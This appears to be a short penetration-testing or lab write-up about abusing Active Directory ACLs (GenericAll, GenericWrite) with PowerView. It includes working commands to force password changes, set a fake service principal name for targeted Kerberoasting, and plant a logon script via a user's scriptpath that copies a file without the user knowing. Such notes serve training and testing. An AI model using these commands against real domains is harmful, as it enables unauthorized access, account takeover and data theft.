Abusing ACLs
If we have generic ALL or Generic Write over groups we can easily add ourselves to these groups by using the commands we used in case of Forest, as well we can GenericAll to a user we can force password changes. We could then use multiple ways to enter in a session depending what group the user belongs to.
Check this example:
Notice how the guy had to provide our users passwords first and then set the other users password to "Password123!". This could then be used,like I said before, in different ways, depending on the privileges on the user we could try to do psexec, psremoting, winrm, and see what special rights this user has.
GenericWrite Over user.
You may need to authenticate to the Domain Controller as SMITH@OBJECT.LOCAL if you are not running a process as that user. To do this in conjunction with Set-DomainObject, first create a PSCredential object (these examples comes from the PowerView help documentation):
We can basically make the user execute things without the user knowing.
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Then, use Set-DomainObject, optionally specifying $Cred if you are not already running a process as SMITH@OBJECT.LOCAL: Set-DomainObject -Credential $Cred -Identity harmj0y -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
If we cannot do the targeted Kerberoasting attack we can still get the user to execute commands and powershell scrpits upon initiation of session and we saw thta this user had a session on this computer.
echo 'copy C:\Users\Maria\Desktop\Engines.xls C:\ProgramData\Engines.xls' > test.ps1
Set-DomainObject -Identity maria -SET @{scriptpath='C:\ProgramData\test.ps1'}
This is the script we created, we could also do a reverse tcp shell to execute but in the case that there is a firewall blocking outbound traffic, the best we can do is try to get creds from somewhere else
Last updated
